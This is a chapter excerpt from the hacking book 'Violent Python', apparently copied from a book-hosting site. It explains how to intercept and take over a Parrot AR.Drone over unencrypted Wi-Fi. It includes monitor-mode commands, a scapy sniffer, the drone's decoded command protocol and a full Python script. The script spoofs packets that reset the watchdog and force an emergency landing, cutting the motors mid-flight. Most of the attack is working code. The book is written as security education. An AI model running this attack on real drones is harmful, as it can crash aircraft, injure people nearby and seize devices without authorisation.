Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (24 page)

BOOK: Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers
2.85Mb size Format: txt, pdf, ePub
Intercepting and Spying on UAVs with Python

In the summer of 2009, the US Military noticed something interesting in Iraq. As the US fighters collected laptops from insurgent fighters, they discovered the laptops contained stolen video feeds from US aerial drones. The laptops contained hundreds of hours of proof that the drone feeds had been intercepted by insurgent fighters (
Shane, 2009
). After further investigation, intelligence officials discovered that the insurgents used a $26 commercial software package called SkyGrabber to intercept the UAV feeds (
SkyGrabber, 2011
). Much to their surprise, Air Force officials with the UAV program revealed the unmanned aerial crafts sent the video over an unencrypted link to the ground control unit (
McCullagh, 2009
). The SkyGrabber software, commonly used to intercept unencrypted satellite television data, did not even require any reconfiguration to intercept the video feeds from the US unmanned aircrafts.

Attacking a US military drone most definitely violates some aspect of the Patriot Act, so let’s find a less illegal target to take down. The Parrot Ar.Drone UAV proves an excellent target. An open source and Linux-based UAV, the Parrot Ar.Drone allows control via an iPhone/iPod application over unencrypted 802.11 Wi-Fi. Available for under $300, a hobbyist can purchase the UAV from
http://ardrone.parrot.com/
. With the tools we have already learned, we can take flight control over a target UAV.

Intercepting the Traffic, Dissecting the Protocol

Let’s first understand how the UAV and iPhone communicate. By placing a wireless adapter in monitor mode, we learn that the UAV and iPhone create an ad-hoc wireless network between each other. After reading the included instructions with the UAV, we learn that MAC filtering proves to be the only security mechanism protecting the connection. Only the paired iPhone can send flight navigation instructions to the UAV. In order to take over the drone, we need to learn the protocol for the instructions and then replay these instructions as necessary.

First, we place our wireless network adapter into monitor mode to observe the traffic. A quick tcpdump shows UDP traffic originating from the UAV
and headed towards the phone on UDP port 5555. After a quick analysis, we can surmise that this traffic contains the UAV video download because of its large size and direction. In contrast, the navigation commands appear to come directly from the iPhone and head to UDP port 5556 on the UAV.

 attacker# airmon-ng start wlan0

 Interface  Chipset   Driver

 wlan0   Ralink   RT2870/3070  rt2800usb -   [phy0]

     (monitor mode enabled on mon0)

 attacker# tcpdump-nn-i mon0

 16:03:38.812521 54.0 Mb/s 2437 MHz 11g -59dB signal antenna 1 [bit 14] IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 106

 16:03:38.839881 54.0 Mb/s 2437 MHz 11g -57dB signal antenna 1 [bit 14] IP 192.168.1.2.5556 > 192.168.1.1.5556: UDP, length 64

 16:03:38.840414 54.0 Mb/s 2437 MHz 11g -53dB signal antenna 1 [bit 14] IP 192.168.1.1.5555 > 192.168.1.2.5555: UDP, length 25824

With the knowledge that the iPhone sends UAV navigation controls to UDP port 5556, we can build a small Python script to parse out navigation traffic. Notice that our script prints the raw contents of UDP traffic with the destination port of 5556.

 from scapy.all import ∗

 NAVPORT = 5556

 def printPkt(pkt):

  if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:

   raw = pkt.sprintf(‘%Raw.load%’)

   print raw

 conf.iface = ‘mon0’

 sniff(prn=printPkt)

Running this script gives us our first glance into the navigation protocol for the UAV. We see that the protocol uses the syntax AT∗
CMD∗
=
SEQUENCE_NUMBER
,VALUE,[VALUE{3}]. By recording traffic over a long period of time, we have learned three simple instructions that will prove valuable to us in our attack and are worth replaying. The command
AT∗REF=$SEQ, 290717696\r
issues a command to land the UAV. Next, the command
AT∗REF=$SEQ,290717952\r
, issues an emergency landing command, immediately cutting off the UAVs engines. The command
AT∗REF=SEQ, 290718208\r
issues a take-off instruction to the UAV. Finally, we can control motion with the command
AT∗PCMD=SEQ, Left_Right_Tilt, Front_Back_Tilt, Vertical_Speed, Angular_Speed
\r. We now know enough about the navigation control to mount an attack.

 attacker# python uav-sniff.py

 ‘AT∗REF=11543,290718208\r’

 ‘AT∗PCMD=11542,1,-1364309249,988654145,1065353216,0\r’

 ‘AT∗REF=11543,290718208\r’

 ‘AT∗PCMD=11544,1,-1358634437,993342234,1065353216,0\rAT∗PCMD=11545,1,-1355121202,998132864,1065353216,0\r’

 ‘AT∗REF=11546,290718208\r’

 <..SNIPPED..>

Let’s begin by creating a Python class named interceptThread. This threaded class has the fields that store information for our attack. These fields contain the current intercepted packet, the specific UAV protocol sequence number, and finally a Boolean to describe if the UAV traffic has been intercepted. After initializing these fields, we will create two methods called run() and interceptPkt(). The run() method starts a sniffer filtered by UDP and port 5556, which triggers the interceptPkt() method. Upon the first interception of the UAV traffic, this method changes the value of the Boolean to true. Next, it will strip the sequence number from the current UAV command and record the current packet.

 class interceptThread(threading.Thread):

  def __init__(self):

   threading.Thread.__init__(self)

   self.curPkt = None

   self.seq = 0

   self.foundUAV = False

  def run(self):

   sniff(prn=self.interceptPkt, filter=’udp port 5556’)

  def interceptPkt(self, pkt):

   if self.foundUAV == False:

    print ‘[∗] UAV Found.’

    self.foundUAV = True

   self.curPkt = pkt

   raw = pkt.sprintf(‘%Raw.load%’)

   try:

    self.seq = int(raw.split(‘,’)[0].split(‘=’)[-1]) + 5

   except:

    self.seq = 0

Crafting 802.11 Frames with Scapy

Next, we have to forge a new packet containing our own UAV commands. However, in order to do this, we need to duplicate some of the necessary information from the current packet or frame. Because this packet contains RadioTap, 802.11, SNAP, LLC, IP, and UDP layers, we need to copy the fields from each of these layers. Scapy has organic support for understanding each of these layers. For example, to look at the Dot11 layer, we start Scapy and issue the ls(Dot11) command. We see the necessary fields we will need to copy and forge in our new packet.

 attacker# scapy

 Welcome to Scapy (2.1.0)

 >>>ls(Dot11)

 subtype  : BitField    = (0)

 type  : BitEnumField    = (0)

 proto  : BitField    = (0)

 FCfield  :FlagsField   = (0)

 ID  :ShortField   = (0)

 addr1  : MACField    = (‘00:00:00:00:00:00’)

 addr2  : Dot11Addr2MACField    = (‘00:00:00:00:00:00’)

 addr3  : Dot11Addr3MACField    = (‘00:00:00:00:00:00’)

 SC  : Dot11SCField   = (0)

 addr4  : Dot11Addr4MACField   = (‘00:00:00:00:00:00’)

We built an entire library to copy each of the RadioTap, 802.11, SNAP, LLC, IP and UDP layers. Notice that we are leaving out some fields in each layer—for example, we do not copy the IP length field. As our command may contain a different length in size, we can let Scapy automatically calculate this field upon packet creation. The same goes for several of the checksum fields. With this packet-copying library in hand, we can now continue our attack on the UAV. We save this library with the name dup.py since it duplicates most of the fields in an 802.11 Frame.

 from scapy.all import ∗

 def dupRadio(pkt):

   rPkt=pkt.getlayer(RadioTap)

   version=rPkt.version

   pad=rPkt.pad

   present=rPkt.present

   notdecoded=rPkt.notdecoded

   nPkt = RadioTap(version=version,pad=pad,present=present,notdecoded=notdecoded)

   return nPkt

 def dupDot11(pkt):

   dPkt=pkt.getlayer(Dot11)

   subtype=dPkt.subtype

   Type=dPkt.type

   proto=dPkt.proto

   FCfield=dPkt.FCfield

   ID=dPkt.ID

   addr1=dPkt.addr1

   addr2=dPkt.addr2

   addr3=dPkt.addr3

   SC=dPkt.SC

   addr4=dPkt.addr4

   nPkt=Dot11(subtype=subtype,type=Type,proto=proto,FCfield=FCfield,ID=ID,addr1=addr1,addr2=addr2,addr3=addr3,SC=SC,addr4=addr4)

   return nPkt

 def dupSNAP(pkt):

   sPkt=pkt.getlayer(SNAP)

   oui=sPkt.OUI

   code=sPkt.code

   nPkt=SNAP(OUI=oui,code=code)

   return nPkt

 def dupLLC(pkt):

   lPkt=pkt.getlayer(LLC)

   dsap=lPkt.dsap

   ssap=lPkt.ssap

   ctrl=lPkt.ctrl

   nPkt=LLC(dsap=dsap,ssap=ssap,ctrl=ctrl)

   return nPkt

 def dupIP(pkt):

   iPkt=pkt.getlayer(IP)

   version=iPkt.version

   tos=iPkt.tos

   ID=iPkt.id

   flags=iPkt.flags

   ttl=iPkt.ttl

   proto=iPkt.proto

   src=iPkt.src

   dst=iPkt.dst

   options=iPkt.options

   nPkt=IP(version=version,id=ID,tos=tos,flags=flags,ttl=ttl,proto=proto,src=src,dst=dst,options=options)

   return nPkt

 def dupUDP(pkt):

   uPkt=pkt.getlayer(UDP)

   sport=uPkt.sport

   dport=uPkt.dport

   nPkt=UDP(sport=sport,dport=dport)

   return nPkt

Next, we will add a new method to our interceptThread class, called injectCmd(). This method duplicates the current packet at each of the layers and then adds the new instruction as the payload of the UDP layer. After creating this new packet, it sends it on to layer 2 via the
sendp()
command.

  def injectCmd(self, cmd):

   radio = dup.dupRadio(self.curPkt)

   dot11 = dup.dupDot11(self.curPkt)

   snap = dup.dupSNAP(self.curPkt)

   llc = dup.dupLLC(self.curPkt)

   ip = dup.dupIP(self.curPkt)

   udp = dup.dupUDP(self.curPkt)

   raw = Raw(load=cmd)

   injectPkt = radio / dot11 / llc / snap / ip / udp / raw

   sendp(injectPkt)

The emergency-land command is an important command in order to take control of a UAV. This forces the unmanned aerial vehicle to stop the motors and immediately crash to the ground. In order to issue this command, we will use the current sequence number and jump ahead by 100. Next, we issue the command AT∗COMWDG=$SEQ\r. This command resets the communication watchdog counter to our new sequence counter. The drone will then ignore previous or out-of-sequence commands (like those being issued by the legitimate iPhone). Finally, we can send our emergency landing command
AT∗REF=$SEQ,
290717952
\r.

 EMER = “290717952”

  def emergencyland(self):

   spoofSeq = self.seq + 100

   watch = ‘AT∗COMWDG=%i\r’%spoofSeq

   toCmd = ‘AT∗REF=%i,%s\r’% (spoofSeq + 1, EMER)

   self.injectCmd(watch)

   self.injectCmd(toCmd)

Finalizing the Attack, Emergency Landing The UAV

Let’s reassemble our code and finalize the attack. First, we need to ensure that we save our packet duplication library as dup.py in order to import it. Next, we need to examine our main function. This function starts the interceptor thread class, listens for traffic to detect a UAV, and then prompts us to issue an emergency landing command. With a Python script of less than 70 lines, we have successfully intercepted an unmanned aerial vehicle. Outstanding! Feeling a little guilty about our activities, in the next section we will focus on how we can identify malicious activities occurring on unencrypted wireless networks.

 import threading

 import dup

 from scapy.all import ∗

 conf.iface = ‘mon0’

 NAVPORT = 5556

 LAND = ‘290717696’

 EMER = ‘290717952’

 TAKEOFF = ‘290718208’

 class interceptThread(threading.Thread):

  def __init__(self):

    threading.Thread.__init__(self)

    self.curPkt = None

    self.seq = 0

    self.foundUAV = False

  def run(self):

   sniff(prn=self.interceptPkt, filter=’udp port 5556’)

  def interceptPkt(self, pkt):

    if self.foundUAV == False:

     print ‘[∗] UAV Found.’

     self.foundUAV = True

    self.curPkt = pkt

    raw = pkt.sprintf(‘%Raw.load%’)

    try:

      self.seq = int(raw.split(‘,’)[0].split(‘=’)[-1]) + 5

   except:

     self.seq = 0

  def injectCmd(self, cmd):

    radio = dup.dupRadio(self.curPkt)

    dot11 = dup.dupDot11(self.curPkt)

    snap = dup.dupSNAP(self.curPkt)

    llc = dup.dupLLC(self.curPkt)

    ip = dup.dupIP(self.curPkt)

    udp = dup.dupUDP(self.curPkt)

    raw = Raw(load=cmd)

    injectPkt = radio / dot11 / llc / snap / ip / udp / raw

    sendp(injectPkt)

  def emergencyland(self):

    spoofSeq = self.seq + 100

    watch = ‘AT∗COMWDG=%i\r’%spoofSeq

    toCmd = ‘AT∗REF=%i,%s\r’% (spoofSeq + 1, EMER)

    self.injectCmd(watch)

    self.injectCmd(toCmd)

  def takeoff(self):

    spoofSeq = self.seq + 100

    watch = ‘AT∗COMWDG=%i\r’%spoofSeq

    toCmd = ‘AT∗REF=%i,%s\r’% (spoofSeq + 1, TAKEOFF)

    self.injectCmd(watch)

    self.injectCmd(toCmd)

 def main():

  uavIntercept = interceptThread()

  uavIntercept.start()

  print ‘[∗] Listening for UAV Traffic. Please WAIT...’

  while uavIntercept.foundUAV == False:

    pass

  while True:

    tmp = raw_input(‘[-] Press ENTER to Emergency Land UAV.’)

    uavIntercept.emergencyland()

 if __name__ == ‘__main__’:

  main()

Other books

The Book of the Lion by Thomas Perry
Sandokán by Emilio Salgari
Dragon House by John Shors
Trapped on Venus by Carl Conrad
The Devil's Teardrop by Jeffery Deaver